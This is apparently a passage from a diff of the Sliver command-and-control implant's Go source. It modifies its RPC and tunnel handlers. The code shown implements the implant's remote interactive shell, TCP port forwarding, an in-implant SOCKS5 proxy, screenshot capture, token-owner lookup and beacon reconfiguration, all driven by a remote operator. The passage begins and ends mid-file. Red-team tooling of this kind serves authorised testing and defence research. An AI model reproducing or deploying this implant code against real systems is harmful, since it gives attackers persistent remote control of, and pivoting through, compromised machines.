resp(data, err)
}
func reconfigureHandler(data []byte, resp RPCResponse) {
reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
err := proto.Unmarshal(data, reconnectIntervalReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
// Set the reconnect interval value
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
if err != nil {
recIntervalResp.Response.Err = err.Error()
}
data, err = proto.Marshal(recIntervalResp)
resp(data, err)
}
@@ -593,9 +561,6 @@ func reconfigureHandler(data []byte, resp RPCResponse) {
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
@@ -615,58 +580,12 @@ func gzipRead(data []byte) ([]byte, error) {
return buf.Bytes(), nil
}
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, buf io.Writer) error {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := standarizeArchiveFileName(file)
fileName := file
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
+2 -3
View File
@@ -37,7 +37,6 @@ var (
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
@@ -49,8 +48,8 @@ var (
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
+13 -14
View File
@@ -32,20 +32,19 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
}
)
+2 -4
View File
@@ -34,7 +34,6 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -47,9 +46,8 @@ var (
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
+11 -33
View File
@@ -65,7 +65,6 @@ var (
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -83,18 +82,17 @@ var (
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -178,26 +176,6 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
resp(data, err)
}
func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
err := proto.Unmarshal(data, tokOwnReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
getCT := &sliverpb.CurrentTokenOwner{}
owner, err := priv.CurrentTokenOwner()
if err != nil {
getCT.Response = &commonpb.Response{Err: err.Error()}
}
getCT.Output = owner
data, err = proto.Marshal(getCT)
resp(data, err)
}
func getsystemHandler(data []byte, resp RPCResponse) {
getSysReq := &sliverpb.InvokeGetSystemReq{}
err := proto.Unmarshal(data, getSysReq)
@@ -111,7 +111,6 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+4 -4
View File
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
sc := &sliverpb.Screenshot{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
resp(data, err)
}
+1 -5
View File
@@ -22,7 +22,6 @@ package handlers
import (
"os"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -55,9 +54,6 @@ func killHandler(data []byte, _ *transports.Connection) error {
// {{if .Config.Debug}}
log.Println("Let's exit!")
// {{end}}
go func() {
time.Sleep(time.Second)
os.Exit(0)
}()
os.Exit(0)
return nil
}
+448 -6
View File
@@ -19,24 +19,36 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -46,3 +58,433 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -1,33 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -1,66 +0,0 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -1,81 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -1,112 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
